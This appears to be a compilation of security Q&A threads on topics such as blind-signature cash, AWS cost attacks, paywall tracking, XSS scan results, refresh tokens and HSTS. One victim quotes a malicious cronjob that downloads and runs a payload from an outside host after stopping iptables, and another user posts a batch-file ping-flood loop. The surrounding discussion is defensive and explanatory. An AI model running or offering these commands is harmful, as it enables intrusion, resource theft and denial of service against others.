Untraceable Digital Cash? I have read some articles regarding digital cash that is untraceable (Here). Their protocol is provided below

  Withdrawal:

 Alice creates an electronic coin and blinds it.

 Alice sends the blinded coin to the Bank with a withdrawal request.

 Bank digitally signs the blinded coin.

 Bank sends the signed blinded coin to Alice and debits her account.

 Alice unblinds the signed coin.

  Payment/Deposit:

 Alice gives Bob the coin.

 Bob contacts Bank and sends coin.

 Bank verifies the Bank's digital signature.

 Bank verifies that coin has not already been spent.

 Bank enters coin in spent-coin database.

 Bank credits Bob's account and informs Bob.

 Bob gives Alice the merchandise.

In this protocol Alice sends a blinded message to Bank. Then how does the bank reduce the amount from her account? If that amount is not blinded then what are the other details Alice needs to blind to the bank?

The blinding mechanism blinds a random value. The amount is in the signature, eg the bank uses a key X for a 100$ bill, a key Y for a 200$ bill, a key Z for 300$ bill.
Thus the bank can know the amount by checking which key is used to sign.

Its important that a static value (static for all "bills") is used in the message, else the same coin can be double-spent multiple times by simply spending blinded coins. By using a random static value same for all coins, ensuring coins that is depoisted is really properly unblinded, and one random value that ensures each coin is unique.

Its important that the bank signs ANY coin, but only accepts depoist of coins having a unique static value + random value. This adds a risk for the customer: If the customer does blind a non-coin message and ask bank to sign it for lets say 100$, then those 100$ will be "burnt". Theres no way for the bank to verify if a blinded coin is valid in its unblided state. Same if the customer blinds a already spent coin and withdraws it again, since the same coin can be blinded in unlimited number of variants, and since bank will accept ANY coin for withdrawal, the bank can use the same coin to withdraw 100$ multiple times, but also important that the bank checks that the coin is unblinded Before accepting it for depoist, to preserve the double spend protection.
This means you can withdraw 100$ multiple times with the same coin, but can only depoist the coin once, which means you will "burn" Money in this process too.

To faciliate Exchange, eg you pay a 100$ bill for a 80$ merchandise, you should get 20$ back. For this to work, theres 2 solutions:
The retailer prepares a couple of unminted coins and ask bank to sign for (withdrawing Money from retailer's account), and then gives to customer. However, this requires the customer to trust the retailer, because if the retailer does not intentionally blind the coins, or blinds the coins badly (for example, with a bad random value), then the customer can be traced by the bank.

This can be solved by the customer minting "unminted coin materials" - eg valid but blinded coins which are unsigned, that the customer gives to the retailer. The retailer sends the coin to the bank which signs for them. The retailer gives back those blinded, but signed, coins to the customer, which unblinds then, and depoists them to the bank.

if the retailer and customer does not trust each other, and does not trust the bank either, its possible for the retailer to create a blinded message, which the retailer gives to customer. Customer blinds the coin (again), and then sends to bank for withdrawal. Upon receiving signed coin from bank, the customer unblinds the coin (now the coin is only blinded once), then customer gives coin to retailer, which unblinds the final value, and sends to bank for depoist. Not the retailer and not the customer, can be traced.
This regardless of if retailer or customer omits a blinding step in a attempt to trace the customer or retailer. Both must agree on a traceable transaction for it to occur.

Same is repeated for Exchange, eg customer blinds coins, gives to retailer, blinds a second time, sends double-blinded coin to bank, bank signs, retailer unblinds, customer unblinds, customer sends to bank for depoist.


How to prevent "cost attacks" on AWS? Ok, so I'm using AWS and with a serverless architecture, it's very practical since AWS Lambda will run functions as microsservices and I don't have to deal with servers.

Not only that, but it's also auto-scalable, and they charge in this 'pay-as-you-go' format. Everything seems good, but...

Well, thinking in terms of security and possible attacks, I can imagine one type of attack where it's not necessarily a DDoS, but an attacker would just repetitively request data from my servers from multiple clients spread throughout a month (so it won't trigger API rate limits), so that my costs will increase drastically (because of pay-as-you-go + auto scaling) and essentially leaving me with a $10.000 bill at the end of the month.

I understand the term "cost attack" probably doesn't exist yet, but it can become more common as services move to serverless environments (AWS, Google Cloud, Azure, etc.)

Ideas on how to deal with it or prevent it?

AWS allows you to set budgets, and alarms based on your current rate of spending. Those would be useful to control your spending. In theory, you could also set billing-based automation to start scaling down services to avoid a $10k bill at the end of the month.

AWS Budgets Tutorial

If your spending alarms go off, then you'd take a look and see why your costs are abnormal this month and determine what needs to be done to mitigate the attack. At that time, your actions will depend on what's driving your costs up.

It may be difficult to differentiate whether the costs are legitimate use or an attack. Following standard threat modelling practices will help you to identify parts of your application susceptible to this type of attack. In particular, try to limit the ability of unauthenticated users to access parts of the application that are resource intensive.


How to track network file share accesses on workstations I shared a folder created in my C drive with a colleague over the network and he was able to access it. Is there any log that will track this kind of activity?
I am aware of Windows Security Event ID 5140: A network share object was accessed.
Should this be on the workstation or will there be an AD authentication to the Domain controller to verify the person accessing it is actually the person whi is given permissions.
Any thoughts will be appreciated.

You need to enable file auditing to accomplish this.

Locate the file or folder you want to audit in Windows Explorer.

Right-click the file or folder and then click Properties --> Security --> Advanced --> Auditing --> Edit -->  Add

Enter the name of a user/group you want to audit for the selected file or folder, and click 'Check Names' to validate your entry. (You can use 'Everyone' too), --> OK

Select 'Success and Failure' next to Full control to audit everything for the selected file or folder

Click OK in each window until you are back at the Windows Explorer window and
Repeat these steps for all files or folders you want to audit


Vulnerability Scanning as a Point of Compromise Has there been research/analysis on the use of Vulnerability scanning ecosystems as a point of compromise into a network?

Specifically -- for enterprises using authenticated scanning -- the vulnerability scanning ecosystem becomes a trusted entity which by design is launching invasive tests with admin/root privileges. These tests while designed to be as minimally invasive as possible could be altered to be malicious if an attacker compromised the scanning ecosystem itself (in theory). How do organizations get around this inherent security risk related to enterprise wide authenticated scanning?

Mitigating the risk of having a scanning system with credentials in the environment can be accomplished with the following best practices:

Use a dedicated system for scanning and disable it (disable NIC / power it off) when not in use.
Use dedicated credentials (AD preferably or local if necessary) for the scanner and disable them when not in use.
Rotate passwords for the scanner's credentials periodically.
Ensure scanner's version and host OS are current with patching and updating.

UPDATE

For the extremely paranoid, we can implement the following controls:

Restrict access to this box (SSH, RDP, Scanner Web Interface, etc) to only authorized machines.
Enable detailed logging of the host & scanning application then review the logs for anomalous activity.
Connect this box to any SIEM solution currently in the environment and configure alerting on any access to the system while it's powered up / online.


How is wsj.com tracking users to find how many articles I have read? I was exploring how websites track users with how paywalls are implemented. WSJ.com has the best ways to detect users who have read content (which I am unable to figure out how they have done it).

The standard mechanisms known to track users (to put up a paywall) is with

Request Parameters (including Referral headers)
Cookies / LocalStorage / File Storage
Private Browsing or Different browser (kind of related to cookies)
ETag headers (lesser known way of tracking users)
IP addresses
WebRTC / Service Workers (that run in the background)
SSL Certificate caching related (read an article, was not clear how its done)
FingerPrinting the Browser sent information

Regarding wsj.com, the page loads tons of javascript from nearly 10s of domains. Their SSL certificate is shared by 10s of websites (this could be because they use Akamai to serve content)

I am concerned how a website is tracking me across browsers even though I have (almost) a clean slate

If I had to implement a paywall, I'd probably go with a combination of the methods you mention.

For example, cookies will work just fine for many users, and it's efficient, so that would be the first "line of defense": If I got a cookie back from a customer, I'd use that to allow or deny entry.

If I didn't get a cookie back, I might employ ETags, and if that didn't work either, I'd fall back to Browser Fingerprinting in combination with fuzzy source IP address matching.

Browser fingerprinting is very effective (see EFF's Panopticlick for a demo) when javascript is enabled. It will yield false positives, but if you combine it with a look at the ip address block someone's connection comes from, it will be very accurate. We have a lot of computers based on an installation image at work, so you'd assume they have the same browser fingerprint - but after a few weeks of use, I did a cursory check and several fingerprints had changed. I'm not sure why. Maybe it was due to having installed additional software, which installed additional fonts on the machine.

I'd do it in this order because cookies are the standard way to do it, etags are somewhat sneaky, and fingerprinting last, because I may make false decisions with fingerprinting which impact innocent customers. Still, it would be easy to allow innocent victims access -- if I locked someone out, I'd just display a message that if they believed the message to be in error, they should accept cookies from my domain in the future.

You can find out how WSJ does it by forbidding all cookies - if WSJ still identifies you, it's not doing it solely with cookies. Do the same for local storage. Then you install a plugin which lets you block ETag-related headers, and see if they still identify you. If they do, disable Javascript. If that doesn't help, play with changing the values of various other headers, such as the Accept header, and so on.


my server got hacked and I only got to find the cronjob command I installed Clamav and rootkits detectors and they found nothing.

The virus run a few process named modules that eating cpu, my server vendor told me that it is bitcoin miner virus but they didn't give me any other info.
The only thing that I found out is this cronjob:

*      *       *       *       *       curl -o /tmp/.selfish http://royaltyhomeins.com/.god;/sbin/service iptables stop;wget -O /tmp/.selfish http://royaltyhomeins.com/.god;killall -9 perl;killall -9 packet;perl /tmp/.selfish;rm -rf /tmp/.selfish

I killed all the process and removed the cronjob.
/tmp folder is empty.
The problem is that I didn't find the core "problem".
What else can I do?

From what you said, it's hard to tell if the server was hacked via you web app/site, or via some outdated software, or some other way, but some things you could try:

Check your apache/nginx logs and try to find suspicious requests.
Check versions of server software (web server, perl, php...) and look for outdated versions.
Do a portscan with nmap and look for ports that are open but should not be.
Do a quick scan with nikto or some other webapp security scanner. Try wpscan if you are using wordpress.
Keep monitoring outbound connections and look for suspicious activity.
Change your passwords.
Ask/pay somebody to assess the security of your web app.

But basically only the log files could pinpoint the root cause. The other methods can identify vulnerabilities, but you can not tell if those were used by the attacker in this case.


Vulnerability scanning vs fuzzing a web application In the context of web applications, is vulnerability scanning a form of fuzzing?

I was told it wasn't the case, but here's what I know:

Wikipedia defines fuzzing as "providing invalid, unexpected, or random data to the inputs of a computer program."
Web application vulnerability scanners send invalid, unexpected data to identify vulnerabilities like SQL injections or cross site scripting.

The idea of fuzzing is to send data to the interface with not much intelligence: garbage, random input and so on. When you are using a vulnerability scanner, you usually test for well known problems. In the case of web applications: injections and so on. It is possible that a vulnerability scanner can include some sort of fuzzing as one of the tests it performs.


XSS Vulnerability Reproduction I have a Qualys web application scan report that says I have a XSS vulnerability. It explains this was detected by requesting a malicious payload and evaluating the response.

When I make the same request, I'm getting a different response that doesn't appear vulnerable.

The request: https://my.site/asection/Some%20Param?"><qss>=

Response the scanner gets:

<qss>=" class="current">

Response I get:

Why can't I duplicate the scanner's results? What do I need to do to get a clean scan?

EDIT: Thanks for the advice, all. I'm afraid I'm still stumped here. I've tried making the request from a browser, from python via requests and from wget with the same results (shown above). The headers I'm seeing from Qualys:

GET https://my.site/asection/Some%20%20Param?"><qss>=
Referer: http://my.site/
Cookie: JSESSIONID=48BBDB43C2DAF217644045004E3AF105.cfusion; CFTOKEN=4e91b60205baf756-E6723476-DAFC-BF6E-EB44114CE65CBF13; CFID=7001629;
Host: my.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4
Accept: */*

and the headers I'm seeing with wget (via wget -d "https://my.site/asection/Some%20Param?\"><qss>="

GET /asection/Some%20Param?%3E%3Cqss%3E=%0A HTTP/1.1
Referer: http://my.site/
Cookie: JSESSIONID=48BBDB43C2DAF217644045004E3AF105.cfusion; CFTOKEN=4e91b60205baf756-E6723476-DAFC-BF6E-EB44114CE65CBF13; CFID=7001629;
Host: my.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

I've re-run the scan and it still detects the vulnerability. I've reviewed Why isn't this XSS working?. Are all of my requests getting returned URL Encoded? Is there a tool (or a flag in wget/requests) that will let me suppress this to see the raw response or the decoded response?

Your header is of course showing it in URI encoding because it's a URI.  You need to look at the actual body - your report stated it was in an a tag, so look for that a tag.  Pass your output through grep and it should fall out.  You won't see it in a GET because that is the data you are sending to the server (or directly what the server is receiving, either way)


Why did my DoS attack fail against Windows 10? I have multiple devices - a Samsung and a Lenovo tab, an Amazon Alexa, an HP laptop running Windows 7, and another running Windows 10. Bored, I tried to DoS my Windows 10 laptop using my Windows 7 laptop. I did it using a batch file with the ping command, like so:
:loop
ping 192.168.0.1 -l 65500 -w 100 -n 1
goto :loop

A very primitive and basic way of trying it indeed. So I open about 30 command prompts running the same batch file all at once. This method worked quite well for my TP-Link router and other devices mentioned above, except for my Windows 10 laptop. It seems to have some sort of protection against the attack. It was quite literally unaffected.
Note that I was on the same network and did it using my Windows 7 laptop, and attacking the router cut off internet access for all other devices on the network as well.
Why exactly did this work on other devices, and not specifically on Windows 10?
What firewall rules and other mitigation measures does Windows 10 have in the above example that rendered it virtually immune to this simple yet effective DoS?

You assume that it's a software difference that enabled the Win10 box to survive. But the devices that fell have much reduced hardware. You likely just flooded the CPU/memory of the IoT devices and tablets. They are not designed for even small levels of direct traffic to them. A Windows laptop is.
When playing with network traffic you need to run packet captures to gain insight. Otherwise, you're just guessing in the dark.


Have the police placed a bug on my line As a pretty dedicated anarchist, rule-breaker and malcontent, I often find myself at odds with the British police. I have been the subject of 3 searches (that I know of) over the last 8 months (including 1 warrantless search).

The last search was last week, where, as per usual, my computer equipment was seized. As I always do, I went out and replaced it. I was setting up my new laptop yesterday when I noticed that my ADSL speed was running at about 20% of its usual speed. I checked everything, rebooted, did the usual dance and concluded there must be a problem on the line.

I rang the ISP who confirmed that there had been a sudden degradation of the line. I asked for specifics, and lo and behold, the sudden drop in line quality occurred at 9.40AM while I was detained and the police were in my apartment.

I took the master socket apart this morning and there was nothing obvious. Am I being paranoid? Surely there are easier ways to monitor phone and Internet usage? What kind of device could have been installed on the line to cause a sudden increase in noise?

Since the police would get a court order to have the phone company tap your line, it's unlikely that they would resort to a physical tap - they'd just get the phone company to digitally tap in (or record) your phone calls, or mirror your internet data. Each of which would be completely unnoticed to you (a tap would be much less effective if there were some obvious sign that it was in place).

If someone other than the police is listening to your calls, then it's possible that they could disrupt your ADSL service by clipping some recording or listening device to your phone line.


Is it less secure to force periodic user logouts vs keep them logged in? I've been unable to find any research or information on this.
Google periodically signs me out and forces me to sign back in.  I have multiple devices and multiple google accounts so it's a bit frustrating but that's just how it is.  However I was thinking about whether this practice is actually secure.

It seems to encourage easy-to-remember / easy-to-type passwords over longer stronger passwords
There's more chance for a keylogger to intercept a password
There's more chance for a physical observer to watch you enter a password
It may desensitise users and lead to them automatically entering their password without checking a url

How does this balance this against the inherent insecurity of indefinitely extending a login's lifetime?
It's worth noting that Google doesn't ever log me out of my mobile device - I wonder why it treats this environment differently?  Security vs UX concerns?

I agree with your thought that forcing users to re-authenticate frequently weakens security in the ways you describe. However there are also other security and performance factors at play here that may not be as obvious.
When you log in, what happens in the background is that the server issues some kind of "authentication token" to your client (usually a browser). These authentication tokens can take multiple forms, the most common variants are:

A short random value that the server can use to look up your session (often called a Session ID.
A longer data structure that contains metadata about you that the server needs to know about you. This will be cryptographically signed to prevent spoofing.

The big difference between the two is that the first needs the server to remember about your session in memory, while in the second the token contains everything the server needs to know (often called "stateless").
If you want to see this in action, open your browser's dev tools (F12), look at a sent request, and you'll see an auth token either in a cookie or in an Authentication: header.

For a massively distributed system like Google, the idea that every server needs to know about every session for every user in the world is completely unwieldy. So they almost certainly use the second, stateless, approach. The downside to this approach is that since the server doesn't know anything, there is no way to logout a session because as long as the token is still valid, servers will accept it. So they end up doing a hybrid approach where the stateless tokens are typically short-lived (like 15 mins) and the client also gets a long-term "refresh" token which is like the session ID described above and typically lives for weeks or months (it's ok on performance to check the db for each user once every couple weeks rather than on every page load / request).

So back to your question; yes it's true that forcing you to type your password more often is not ideal, but this is already a tricky mechanism to design so that you get the right balance of security (being able to actually enforce logout) against server-side performance (not needing to go to the database on every request). End-user considerations like how often you need to type your password are likely a secondary concern.


Anti-CSRF mechanism with referer header This is not my main anti-CSRF mechanism; I know that https requests don't have a referer header; I know users or firewalls can remove it or set to an arbitrary fixed value.

I intend this mechanism just as a possible added security layer preventing CSRF in case my main mechanism is bypassed for some reason.

My code will be something like this:

if(isset($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST']))
if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST)!=$_SERVER['HTTP_HOST'])
exit('Anti-CSRF mechanism!');

I think this has no support and usability problems. right?

Although checking the HTTP referer header is a method of mitigating CSRF,
this proposed PHP implementation is bypassed by omitting the referer,  which can be done using a meta referer policy.  If the CSRF exploit originates from an HTTPS site then the referer will be absent, and this absent case is not checked for in the above code.   The lack of a referer should be considered an attack.   However, a much better anti-csrf method is using a synchronization token.


Limitations of botnets My question is very closely related to this question but I didn't find my answer there. Specifically, I'm interested in whether the C2 server can modify aspects/properties of the malware and, if so, without letting the victim know.

The malware I'm interested about is CryptoLocker so I'm not really able to do a dynamic analysis of what happens after the connection to the C2 server is established. The actual information I eventually need is whether the ransom Bitcoin amount displayed in the CryptoLocker form was synchronized across all instances (e.g. by getting this information from the C2 server) or whether it was static and dependent on each CryptoLocker instance, i.e. the sample of the malware. I know already that the encryption key, which encrypts the victim's local files, has been received from the C2 server and was stored in the victims registry. I didn't find evidence that this method has been applied in order to display the Bitcoin amount.

The question is, whether there would be other ways to dynamically adjust the amount of Bitcoins displayed to the victim. Whether it has actually been the case with CryptoLocker is secondary. Although it's a nice bonus, if somebody is able to provide an answer there.

There are many facets to your answer. Botnets do resort to innumerable possibilities for evading detection, and even secure communication with the C2.

Can the malware update itself periodically?

DEFINITELY. I have seen malware in the wild which contacts the C2 and downloads updates even every hour. But a daily update is pretty common. In essence, the already installed binary will download the new malware (exe) and replace itself with the new version, essentially changing the behavior overall.

Can the malware update just the Bitcoin ransom amount?

Yes. Now the nuisance could be dependent upon the kind of botnet. Perhaps the malware is trained to visit a rogue account on twitter at particular time of the day, and pickup the seed number from the tweet, which will ultimately define the ransom amount? Oh yeah, I would say someone is already doing that somewhere.

Note that I do not have specific experience with Cryptolocker but I would suggest not marrying yourself to one particular behavior.


How does LiveID work? Is there any documentation on the LiveID provisioning site msm.live.com? I'm trying to learn details on how LiveID works, when compared to other federation technologies.

To be honest, I'm a bit overwhelmed by all the options at https://msm.live.com/ and want to understand what I'm doing before I federate my application to LiveID.

In addition I'd like to understand the differences between the free implementatations and the RPS system.  My understanding is that there are at least 4 different ways to hook up to LiveID.  Considering that large surface area of authentication, and little public documentation, makes me uneasy.

LiveID is an extension of WS-Trust/Federation/Security in a passive mode.  Passive meaning that the client -- the browser -- needs to be told what to do by the clients, which is done through 302 redirects and POST-backs.

To rephrase this, LiveID follows a Claims-Based model, building on top of the protocols mentioned earlier.  The documentation is very sparse because, well, Microsoft can be very lame at times.

The differences between the versions have to do with how the authentication happens, moreso what layer makes the redirect to login.live.com.  E.g. the server-side code forcing the redirect, or the client code -- javascript -- does the redirect.

What exactly are you trying to accomplish?  Are you just wanting a person to log into your site using their LiveID, or are you looking for a more in depth federation model?


Authentication for website and mobile app This doing a Spring Boot application (Rest API, JPA, etc) uses (via Rest) from a website (Angular) and a mobile app (Android).
The user using the mobile app (in the future) will be able to authenticate via Facebook, Google, etc, and store in the database some information received from the social networks necessary for the app.
I implemented the authentication by providing username and password(saved on a database) and by releasing an access token (JWT) from the backend, used by both frontend at every REST request to Spring Boot.
Now I would like that for the user's mobile app not to be entered username and password every time, but to remain logged in for "always".
Reading on the internet I saw that it is possible to generate a refresh token that the app can use when the backend (Spring Boot) returns HTTP Error 401. The app uses the refresh token to ask the backend for a new access token. If the refresh token has also expired then the user is forced to re-enter the username and password otherwise if it remains logged.
When does the refresh token need to be updated? Because otherwise when the refresh token expires I have to force the user to enter the credentials.
Which flow is correct and secure?
If not sure what should I use?
Thks

The lifetime of a refresh token depends on your configuration. Some frameworks provide forever lasting refresh tokens. Then there are others which provide refresh tokens that expire after 90 days of inactivity. There is also an option to rotate refresh token after every request.
As for the two approaches that you mentioned:
Which one is correct depends on your preferences and whether you can ensure a secure store for your refresh tokens or not. There are several options available to securely store your tokens for a mobile app and I believe encrypted cookies can do the job for you on the web app as well.
Which one is more secure? I would say that just using the access token is more secure. The reason being, if your access token is leaked, malicious users can use it only till it expires which is a lot quicker than your refresh tokens. If a refresh token expires, a malicious user can generate new access tokens to access your APIs.
Having said that, it should not deter you from using refresh tokens. If you use them securely, they can help you provide a good user experience.


Is Apple’s latest encryption considered to be munitions grade? According to U.S. Export and Import laws, any device that has a minimum level of encryption is considered as falling under munitions type laws.

Does Apple’s latest OS contain that level? And if it does, has anyone been questioned or convicted of reentering the U.S. with the same device?

I ask because at various international meetings, participants are warned to NOT travel with laptop utilizing “strong” encryption.

According to the Export Import laws, any device that has a minimum
  level of encryption is considered as falling under munitions type
  laws.

Let's assume you're talking about the US, here, because obviously this is going to differ from nation to nation (see the Crypto Law survey map, for example).  And even within a given area, Crypto is one area where the law has had difficulty keeping up and often defaults to a more relaxed state in the lack of better guidance.

If you read the summary of relaxations to the Export Administration Regulations, you'll see it's not as clear cut as you might think.  In effect, the US no longer restricts the export of software (except to Terrorist Nations) based on crypto strength.  (See also Bernstein vs. DOJ, which was an intentional test of the rules)

  Does apple's latest oss contain that level, and if they do, has anyone
  been questioned or convicted of reentering the us with the same
  device?

I'm not aware of any examples where a laptop was confiscated by the US due to the level of crypto on a commercially available OS.  Why would they bother using such a troublesome justification, when they can confiscate it on a whim and demand the passwords with no justification necessary?

Traveling to other countries is much more of a problem.  I have read that France, in particular, has been known to confiscate laptops with modern OSes that support strong encryption.  Especially if that modern OS happens to be on a modern, expensive, sexy laptop.  The kind that the customs agent wants for Christmas.


How are passwords stored in the database of a decentralized peer to peer system? I want to use username and password instead of public key cryptography for a decentralized peer-to-peer application, but since the passwords are stored on users' computers, there is a possibility of being stolen. How do I store the passwords securely?
And how do I give permission safely? How can I prevent someone else from gaining permission unfairly?

Depending on your goal, you may want to use different architectures:
1. Use a centralized server for authentication
This would be similar to how some videogames act. A centralized server would handle authentication and authorization, but actual data transfer would happen directly between clients for performance reasons.
This approach works well, since authentication can be treated like any other client/server scenario. Passwords can be stored securely in one centralized database, while the server doesn't need to worry about actual traffic between clients.
The downside of this is if your centralized server is unavailable (maintenance, Denial-of-Service attack, obsolescence of service, etc.), then the entire application becomes unusable.
2. Use public-key cryptography
You stated in your question that you do not wish to use PKI. Unfortunately, PKI excels at precisely this kind of scenario. A client can generate a new key pair, which is akin to a new "identity". The client can then publish their public key, allowing others to verify their identity. Whether or not the corresponding private key corresponds to a real-life identity is not an easy problem to solve, but one you don't necessarily need to solve. If a virtual identity (akin to a username/password combination) is enough, then PKI solves this problem well.
Advantages of this system would be that it is very resilient, requiring basically no maintenance, since there is no centralized server involved. Two users, who have each other's public keys, can authenticate each other until the end of days.
Disadvantages is that if you have multiple devices, migration becomes less simple than just "entering your credentials" on the other device. You either need to copy your private key to the other device, or you generate a new private key there and have the keys sign each others public key. In a sense, Key A says "I guarantee that Key B is also me. Yours truly, Key A" and vice versa Key B says "I guarantee that Key A is also me. Yours truly, Key B".
This system works well, but requires your users to be a bit more involved. Depending on who your target audience is, it could be a reasonable assumption to make that your users will understand how PKI works. Otherwise, telling them to copy a file will be something most users can do.
3. Zero-Knowledge Proofs
Basically, you want to prove to someone that you know something, with them knowing anything what that thing is. This seems like an impossible task, but it is doable. Wikipedia provides a set of abstract examples, but for the sake of completeness, I will include one here:

Imagine you have two differently-colored balls, and a color-blind friend. To your friend, the balls seem identical. You want to prove to him that they are differently-colored, without revealing which ball is which color.
Your friend shows you the balls, then places them behind his back and randomly decides to switch them or not. He then asks you whether or not he switched the balls. If the balls are indeed differently-colored, then you can see the difference and say whether or not they were switched.
The first time this is done, your friend believes that there is a 50% chance that you could have just guessed it correctly, so he repeats the task. You succeed again, and now there is a 25% chance it was just another lucky guess. With each repetition, his confidence doubles. After 80 repetitions, your friend is more than 99.9999999999999999999999 % confident that you weren't just guessing, which "proves" to him that you indeed are able to differentiate the balls, even if you did not disclose how, or which ball is which color.

To be less abstract, the Secure Remote Password Protocol implements a Zero-Knowledge Proof, which allows a server to verify whether or not a client knows a password without storing the password. The following image demonstrates the workflow:

Image credit to thinbus-srp
I'll be honest with you, I've never worked with SRP before, but it seems to be something worth looking into.
Why can't I just store hashes?
A password is a so-called "shared secret". Authentication with a "shared secret" works by sending the server my secret, and the server checks whether or not this shared secret matches what the server previously stored. However, in your case, you don't want the involved parties to know the secret - after all, then they could just impersonate you. You're tasked with solving the problem of whether or not someone knows something, without knowing what it is. Let me show you why this doesn't work:

If you just send plaintext passwords, then every client needs to store every plaintext password of every user they encounter - and are thus able to impersonate every user they encounter. Not good!
Just hash them, right? Imagine you "register" with me, telling me the hash of your password is 04C11DB7.... How can you authenticate to me then? You could send me your password in plain text, which means I can steal it. You could also send me that hash again, but then I could just in turn send your hash to other people. By just hashing everything, you made the hash the new password.
Just add more hashes, right? No, it doesn't work. No matter how many layers you apply, I can always just take what you send me and send that to other people.


Accuracy of Iris Biometric Authentication I understand that the iris is the most accurate biometric modality since it has a false acceptance rate of about 1 in 1,000,000. Fingerprint on the other had is about 1 in 1000.

These error rates seem too high in my opinion. If a fingerprint system makes an error after every 1000 tries, then this means airports can allow through a lot of fake people. At a busy airport, an error rate of 1 in 1000 could mean 10 to 50 bad guys going through per day.

Also, for iris, 1 in 1,000,000 seems too high. I thought iris had an error rate closer to zero than this. In a year, you could have a lot of bad guys going through if the error rate is 1 in 1 million.

Could I be missing something when it comes to interpreting these error rates in practice?

I don't know about the false acceptance rates of biometric devices.

  At a busy airport, an error rate of 1 in 1000 could mean 10 to 50 bad
  guys going through per day.

Why would you assume that every false acceptance is a bad guy? If you were a bad guy, how could you be sure that you got through when the biometric reader was going to accept a false id (fingerprint/iris)?

Also, it is difficult, if not impossible, to create perfect (unbreakable) systems. There are way too many factors to consider.

This is an acceptable risk, in my opinion. Imagine what would happen if we dismiss the system due to this risk? That would create more problems.


SSL-certificates for overlapping domain regions? Suppose, a server hosts

   https://www.master.com/

and thus is equipped with a (single domain) SSL certificate.

Furthermore, suppose there are some web apps below master.com:

   http://wiki.master.com/
   http://docs.master.com/
   http://cal.master.com/
   ...

To protect those web apps, one could use a wildcard certificate for master.com, which reaches 1 level down. This wildcard SSL certificate would thus protect connections to each of these web apps.

Question: Could this wildcard certificate be issued, although another (non-wildcard) certificate for www.master.com has already been issued?

Do CAs exchange data to ensure, that the domains of issued certificates do not overlap?

Yes, you can issue a wild card certificate for your domains.

No, CAs probably don't exchange data, nor would they care if some other CA purchased an overlapping certificate.

In other words, you can have as many wildcard, and non wildcard certificates as you want.  After you acquire the certificate you have to add that certificate into the web server.

Some web servers act funny with overlapping certificates, or may make it hard to distinguish one certificate from another.  Just keep this in mind when importing the certificate into your servers and you'll be fine.


Is there any chance of PC getting infected when you analyse PCAP malware file? Currently, there are lots of pcap files of malware analysis carried by other researchers available on Internet. Such files show the traffic pattern and communication of the malware with it's C&C servers or any malicious locations that are recorded in the pcap File.

The question is, what actually happens when I open a malware pcap file in Wireshark. Does it affect my PC? Do our PCs get infected when we run someone else's pcap Malware traffic File.

The WireShark websites have a section for malware pcap sample, so if I download and open any of those pcap files in my PC's Wireshark, would there be any possibility that my PC gets infected?

Wireshark is a complex beast and often bugs in the various protocol specific dissectors can be found which also might lead to remote code execution, see Dissecting Wireshark: I Know What You Captured Last Summer.

But while this might cause code execution when using a pcap from an untrusted source or with malformed protocol data in it, a well formed pcap with sane protocols which only captures transfer of malware binaries is not affected by this and will not lead to the execution of the malware which was captured in the pcap. But of course you can still extract the data from the pcap and thus inadvertently load the malware on your computer and maybe execute it too.


Can someone using Wireshark obtain the full URL if my program uses HTTPS? While perusing the contents of pcap files I've noticed some URLs appear to be visible despite being HTTPS. These mainly occur inside payloads that contain cert URLs too, but I also see HTTPS URLs inside what appear to be HTTP payloads.

Can someone say conclusively whether HTTPS URLs are truly kept secret?

I'm concerned about this because I want to put some parameters in the URL and I don't want these to be easily uncovered.

With HTTPS the path and query string of the URL is encrypted, while the hostname is visible inside the SSL handshake as plain text if the client uses Server Name Indication (SNI). All modern clients use SNI because this is the only way to have different hosts with their own certificates behind the same IP address.

The rest of the URL (i.e. everything but the hostname) will only be used inside the encrypted connection. Thus in theory it is hidden from the attacker unless the encryption itself gets broken (compromising the private key, man-in-the-middle attacks etc). In practice an attacker might have indirect ways to get information about the remaining part of the URL:

Different pages on the same server serve different content with different sizes etc. If the attacker scans the site to find out all possible pages he might then be able to find out which pages you've accessed just by looking at the size of the transferred data.
Links to other sites contain Referer header. Usually the Referer is stripped when linking from https to http, but if the attacker controls one of the sites linked with https he might be able to find out where the link came from, that is the site you've accessed.

But in most cases you are pretty safe with HTTPS, at least much safer than with plain HTTP.


WHY redirecting HTTP version of a site to HTTPS version is dangerous? I can't understand why its dangerous, someone told me that an attacker can hijack before it loads the HTTPS version, but hows that possible.

First, to answer your question:

It's not that redirecting HTTP to HTTPS is more dangerous than NOT redirecting to HTTPS. Redirecting HTTP to HTTPS is in fact extremely important!

The thing is, if somebody is hitting a security-sensitive site over HTTP, something is already wrong. The user should be using HTTPS from the beginning. Of course, web browsers are unhelpful here - they default to HTTP unless the user specifically types the https:// part before the domain name - but that's legacy behavior that we basically just have to deal with.

The solution to this problem is something called HTTP Strict Transport Security (HSTS). HSTS is a way for a website to tell a browser "hey, this is a secure site, don't you ever try connecting to me over insecure HTTP, OK?". All modern browsers (including IE11, though not older versions of IE) support HSTS, meaning they will only use HTTPS for that site (even if the user typed http:// instead; the browser changes it to https:// before sending the request).

HSTS does have one weakness: for the server to tell the browser to never use HTTP, the browser has to already have connected to the server. The first such connection is the most likely one to made over HTTP rather than HTTPS anyhow (because the user just typed the domain name into the URL bar), so an attacker almost always has at least one shot to hijack the connection (more on that in a sec). Not good. The solution to that is to use HSTS Preloading, which is a list built into all HSTS-supporting browsers of sites that the owner has specifically requested to never be visited over HTTP; the browsers are pre-configured to have HSTS already enforced for those sites.

It is worth noting that, for inclusion in the HSTS preload list, your site MUST redirect any HTTP request to HTTPS. That must be the first thing it does, in fact, before doing any other redirect or serving any content.

